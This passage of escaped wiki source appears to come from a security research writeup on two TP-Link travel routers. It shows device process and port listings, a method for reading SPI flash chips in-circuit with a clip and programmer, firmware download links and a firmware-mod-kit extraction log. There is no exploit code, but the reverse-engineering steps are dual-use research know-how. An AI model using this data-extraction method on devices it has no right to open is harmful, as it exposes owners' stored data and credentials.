 1285 admin     1136 S    dropbear -p 22 -r /var/tmp/dropbear/dropbear_rsa_hos&lt;br /&gt;
 1292 admin     1060 R    ps&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Interface Configuration&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;&lt;br /&gt;
eth0      Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FC&lt;br /&gt;
eth0.3    Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FC&lt;br /&gt;
eth0.4    Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FC&lt;br /&gt;
eth0.5    Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FC&lt;br /&gt;
eth0.6    Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FC&lt;br /&gt;
ra0       Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FC&lt;br /&gt;
br0       Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FC&lt;br /&gt;
  LAN       inet addr:192.168.1.1  Bcast:192.168.1.255  Mask:255.255.255.0&lt;br /&gt;
&lt;br /&gt;
eth0.2    Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FD&lt;br /&gt;
  WAN       inet addr:192.168.0.101  Bcast:192.168.0.255  Mask:255.255.255.0&lt;br /&gt;
&lt;br /&gt;
lo        Link encap:Local Loopback&lt;br /&gt;
            inet addr:127.0.0.1  Mask:255.0.0.0&lt;br /&gt;
&lt;br /&gt;
rai0      Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FB&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Wireless Intercafe Configuration&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;&lt;br /&gt;
lo        no wireless extensions.&lt;br /&gt;
ifb0      no wireless extensions.&lt;br /&gt;
ifb1      no wireless extensions.&lt;br /&gt;
sit0      no wireless extensions.&lt;br /&gt;
ip6tnl0   no wireless extensions.&lt;br /&gt;
eth0      no wireless extensions.&lt;br /&gt;
br0       no wireless extensions.&lt;br /&gt;
eth0.3    no wireless extensions.&lt;br /&gt;
eth0.4    no wireless extensions.&lt;br /&gt;
eth0.5    no wireless extensions.&lt;br /&gt;
eth0.6    no wireless extensions.&lt;br /&gt;
eth0.2    no wireless extensions.&lt;br /&gt;
&lt;br /&gt;
ra0       RTWIFI SoftAP  ESSID:&amp;quot;TP-Link_00FC&amp;quot;&lt;br /&gt;
          Mode:Managed  Channel=3  Access Point: 98:DA:C4:6E:00:FC&lt;br /&gt;
          Bit Rate=300 Mb/s&lt;br /&gt;
&lt;br /&gt;
ra1       RTWIFI SoftAP  ESSID:&amp;quot;TP-Link_Guest_00FC&amp;quot;&lt;br /&gt;
          Mode:Managed  Channel=3  Access Point: 9A:DA:C4:7E:00:FC&lt;br /&gt;
          Bit Rate=300 Mb/s&lt;br /&gt;
&lt;br /&gt;
apcli0    RTWIFI SoftAP  ESSID:&amp;quot;&amp;quot;&lt;br /&gt;
          Mode:Managed  Channel=3  Access Point: Not-Associated&lt;br /&gt;
          Bit Rate:300 Mb/s&lt;br /&gt;
&lt;br /&gt;
rai0      RTWIFI SoftAP  ESSID:&amp;quot;TP-Link_00FC_5G&amp;quot;&lt;br /&gt;
          Mode:Managed  Channel=36  Access Point: 98:DA:C4:6E:00:FB&lt;br /&gt;
          Bit Rate=433.5 Mb/s&lt;br /&gt;
&lt;br /&gt;
rai1      RTWIFI SoftAP  ESSID:&amp;quot;TP-Link_Guest_00FC_5G&amp;quot;&lt;br /&gt;
          Mode:Managed  Channel=36  Access Point: 9A:DA:C4:6C:00:FB&lt;br /&gt;
          Bit Rate=433.5 Mb/s&lt;br /&gt;
&lt;br /&gt;
apclii0   RTWIFI SoftAP  ESSID:&amp;quot;&amp;quot;&lt;br /&gt;
          Mode:Managed  Channel=36  Access Point: Not-Associated&lt;br /&gt;
          Bit Rate:150 Mb/s&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Open Ports&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;cat /proc/net/tcp&lt;br /&gt;
  sl  local_address rem_address   st tx_queue rx_queue tr tm-&amp;gt;when retrnsmt   uid  timeout inode&lt;br /&gt;
   0: 0100007F:4E22 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 604 1 830ec040 300 0 0 2 -1&lt;br /&gt;
   1: 0101A8C0:008B 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1057 1 830ed580 300 0 0 2 -1&lt;br /&gt;
   2: 00000000:076C 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 618 1 830ec480 300 0 0 2 -1&lt;br /&gt;
   3: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 548 1 830ed9c0 300 0 0 2 -1&lt;br /&gt;
   4: 00000000:0015 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1029 1 830ecd00 300 0 0 2 -1&lt;br /&gt;
   5: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1090 1 80c279e0 300 0 0 2 -1&lt;br /&gt;
   6: 00000000:9FFB 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 994 1 830ec8c0 300 0 0 2 -1&lt;br /&gt;
   7: 0101A8C0:01BD 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1056 1 830ed140 300 0 0 2 -1&lt;br /&gt;
   8: 0101A8C0:0050 6401A8C0:D633 06 00000000:00000000 03:000001C8 00000000     0        0 0 3 832f6840&amp;lt;&lt;br /&gt;
&lt;br /&gt;
/* Resolved&lt;br /&gt;
  sl  local_address 		rem_address  &lt;br /&gt;
   0: 127.0.0.1		:20002 	&lt;br /&gt;
   1: 192.168.1.1	:139 	&lt;br /&gt;
   2: 0.0.0.0		:190 	&lt;br /&gt;
   3: 0.0.0.0		:80 	&lt;br /&gt;
   4: 0.0.0.0		:21 	&lt;br /&gt;
   5: 0.0.0.0		:22 	&lt;br /&gt;
   6: 0.0.0.0		:40955 	&lt;br /&gt;
   7: 192.168.1.1	:445 	&lt;br /&gt;
// Client connection&lt;br /&gt;
   8: 192.168.1.1	:80 	192.168.1.100:54445*/&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Exploit Memory Chips&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;In-Circuit&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;SPI Flash&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;Both examined devices use SPI NOR Flash (SOP8) to store data and/or (parts of) the firmware. The TL-WR902AC additionally uses a NAND flash chip, to which the chip-off data extraction needs to be applied. SPI (Serial Peripheral Interface) is a serial interface similar to UART. However, it is mainly used for communication between hardware components and offers a simple and efficient alternative to parallel bus systems following a master/slave architecture, which makes it very suitable for embedded applications. The focus of this work is on the use of SPI in combination with flash chips. With certain chip packages (e.g., SOP8/16), all data of the flash chip can be retrieved using SPI without having to unsolder the flash chip. In-Circuit Data Extraction allows chips to be read out without having to desolder them, which is only possible with chips of certain packages where the leads are exposed. Examples are NOR flash chips and EEPROMs of the Small-Outline Package (SOP), which use SPI or I2C. The SOP8 chips in this case could be read out using an SOP8 Clip and a CH341H programmer.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: TL-WR902AC: [https://www.winbond.com/resource-files/w25q64cv_revh_052214[2].pdf 25Q64CSIG]. TL-WR802N: [https://www.winbond.com/resource-files/w25q64jv%20spi%20%20%20revc%2006032016%20kms.pdf Winbond 25Q64JVS10]. Not processed yet.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Firmware&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Download&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;Current Version&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: VX describes the Hardware version X&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Need to review links and complete the list.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;th style=&amp;quot;text-align: left; width: 20px&amp;quot;&amp;gt;CC&amp;lt;/th&amp;gt;&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Hardware Version&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;US&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://www.tp-link.com/us/support/download/tl-wr902ac/v1/#Firmware V1], [https://www.tp-link.com/us/support/download/tl-wr902ac/v3/#Firmware V3]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;EU&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://www.tp-link.com/eu/support/download/tl-wr902ac/v1/#Firmware V1], [https://www.tp-link.com/eu/support/download/tl-wr902ac/v3/#Firmware V3]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;JP&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://www.tp-link.com/jp/support/download/tl-wr902ac/v1/#Firmware V1], [https://www.tp-link.com/jp/support/download/tl-wr902ac/v3/#Firmware V3]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;TL-WR802N&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;th style=&amp;quot;text-align: left; width: 20px&amp;quot;&amp;gt;CC&amp;lt;/th&amp;gt;&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Hardware Version&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;US&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://www.tp-link.com/us/support/download/tl-wr802n/v1/#Firmware V1], [https://www.tp-link.com/us/support/download/tl-wr802n/v2/#Firmware V2], [https://www.tp-link.com/us/support/download/tl-wr802n/v4/#Firmware V4]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;DE&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://www.tp-link.com/de/support/download/tl-wr802n/v1/#Firmware V1], [https://www.tp-link.com/de/support/download/tl-wr802n/v2/#Firmware V2], [https://www.tp-link.com/de/support/download/tl-wr802n/v3/#Firmware V3], [https://www.tp-link.com/de/support/download/tl-wr802n/v4/#Firmware V4]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;AT&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://www.tp-link.com/at/support/download/tl-wr802n/v1/#Firmware V1], [https://www.tp-link.com/at/support/download/tl-wr802n/v2/#Firmware V2]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;JP&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://www.tp-link.com/jp/support/download/tl-wr802n/v1/#Firmware V1], [https://www.tp-link.com/jp/support/download/tl-wr802n/v2/#Firmware V2], [https://www.tp-link.com/jp/support/download/tl-wr802n/v3/#Firmware V3], [https://www.tp-link.com/jp/support/download/tl-wr802n/v4/#Firmware V4]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Known Versions&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;th style=&amp;quot;text-align: left; width: 40px&amp;quot;&amp;gt;CC&amp;lt;/th&amp;gt;&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;HW&amp;lt;/th&amp;gt;&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Firmware Version&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;EU&amp;lt;/td&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;V1&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://static.tp-link.com/TL-WR902AC(EU)_V1_170628.zip 170628], [https://static.tp-link.com/TL-WR902AC(EU)_V1_160905.zip 160905]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;US&amp;lt;/td&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;V1&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://static.tp-link.com/TL-WR902AC(US)_V1_160905.zip 160905]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;EU&amp;lt;/td&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;V3&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://static.tp-link.com/2019/201912/20191213/TL-WR902AC(EU)_V3_191018.zip 191018], &amp;lt;b&amp;gt;[https://static.tp-link.com/2017/201712/20171208/TL-WR902AC(EU)_V3_170828.zip 170828]&amp;lt;/b&amp;gt;, [https://static.tp-link.com/TL-WR902AC(EU)_V3_170717.zip 170717]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;US&amp;lt;/td&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;V3&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://static.tp-link.com/2020/202001/20200119/TL-WR902AC(US)_V3_191209.zip 191209], [https://static.tp-link.com/2018/201803/20180327/TL-WR902AC(US)_V3_171229.zip 171229], [https://static.tp-link.com/2017/201712/20171215/TL-WR902AC(US)_V3_170826.zip 170826]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Third-Party-Firmware&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The original firmware of some TP-Link products can be replaced with third-party firmware such as [https://dd-wrt.com DD-WRT]. TP-Link is not obligated to provide support or warranty for such modified devices, nor is it responsible for their stability or performance. TP-Link will not replace any damage caused by third-party firmware.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Extraction&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Using &amp;lt;b&amp;gt;[https://github.com/rampageX/firmware-mod-kit/wiki firmware-mod-kit]&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;$ ./firmware-mod-kit/extract-firmware.sh ./Firmware/V3/TL-WR902AC(EU)_V3_191018/TL-WR902ACv3_EU_0.9.1_0.3_up_boot[191018-rel34369].bin&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
Firmware Mod Kit (extract) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake&lt;br /&gt;
&lt;br /&gt;
Scanning firmware...&lt;br /&gt;
&lt;br /&gt;
Scan Time:     2020-06-20 03:58:35&lt;br /&gt;
Target File:   ./Firmware/V3/TL-WR902AC(EU)_V3_191018/TL-WR902ACv3_EU_0.9.1_0.3_up_boot[191018-rel34369].bin&lt;br /&gt;
MD5 Checksum:  4e87ca6fb7717bb509e843fbac2d060e&lt;br /&gt;
Signatures:    344&lt;br /&gt;
&lt;br /&gt;
DECIMAL       HEXADECIMAL     DESCRIPTION&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
82384         0x141D0         U-Boot version string, &amp;quot;U-Boot 1.1.3 (Oct 18 2019 - 09:12:58)&amp;quot;&lt;br /&gt;
132096        0x20400         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3634292 bytes&lt;br /&gt;
1442304       0x160200        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 6375860 bytes, 759 inodes, blocksize: 131072 bytes, created: 2019-10-18 01:32:50&lt;br /&gt;
&lt;br /&gt;
Extracting 1442304 bytes of  header image at offset 0&lt;br /&gt;
Extracting squashfs file system at offset 1442304&lt;br /&gt;
Extracting squashfs files...&lt;br /&gt;
Firmware extraction successful!&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;GPL Code&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;th style=&amp;quot;text-align: left; width: 20px&amp;quot;&amp;gt;CC&amp;lt;/th&amp;gt;&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Hardware Version&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;US&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://static.tp-link.com/resources/gpl/gpl_902acv1_eu.tar.gz V1], [https://static.tp-link.com/resources/gpl/GPL_WR902AC_NEW.tar.gz V3]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;EU&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: [https://www.tp-link.com/at/support/gpl-code/ GPL-Code-Center]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Had a bad day? Try some developer notes! 谢谢！&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Developer notes&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;C&amp;quot;&amp;gt;/* Find it out, where you are? ^_^, update config first */&lt;br /&gt;
&lt;br /&gt;
/* Bug ^_^ be careful */&lt;br /&gt;
&lt;br /&gt;
/* Do not care about the others now */&lt;br /&gt;
default:&lt;br /&gt;
	DEBUG(&amp;quot;we don&#039;t care it,^_^!&amp;quot;);&lt;br /&gt;
	break;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* &lt;br /&gt;
 * brief: just rebuild all ,so what about big big disk? just pray ^_^&lt;br /&gt;
 *		  maybe use sqlite... in the future.&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
/* Do it again and again are you tired ^_^? */&lt;br /&gt;
&lt;br /&gt;
/* For passing test, and let the customer be happy, we ... ^_^, it is not so bad */&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;References&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;TP-Link&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;TP-Link&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.tp-link.com/at/ (accessed 20 June 2020)&amp;lt;br&amp;gt;&lt;br /&gt;
https://www.tp-link.com/us/ (accessed 20 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Awards&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.tp-link.com/at/press/award/ (accessed 20 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;TP-Link TL-WR902AC: AC750 Wifi - Travel Router&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Product&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.tp-link.com/at/home-networking/wifi-router/tl-wr902ac/ (accessed 20 June 2020)&amp;lt;br&amp;gt;&lt;br /&gt;
https://www.tp-link.com/us/home-networking/wifi-router/tl-wr902ac/ (accessed 19 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Support&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.tp-link.com/at/support/download/tl-wr902ac/ (accessed 20 June 2020)&amp;lt;br&amp;gt;&lt;br /&gt;
https://www.tp-link.com/us/support/download/tl-wr902ac/ (accessed 20 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Datasheet&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://static.tp-link.com/TL-WR902AC.pdf (accessed 19 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;TP-Link TL-WR802N: 300Mbps Wireless N - Nano Router&amp;lt;/b&amp;gt;&lt;br /&gt;
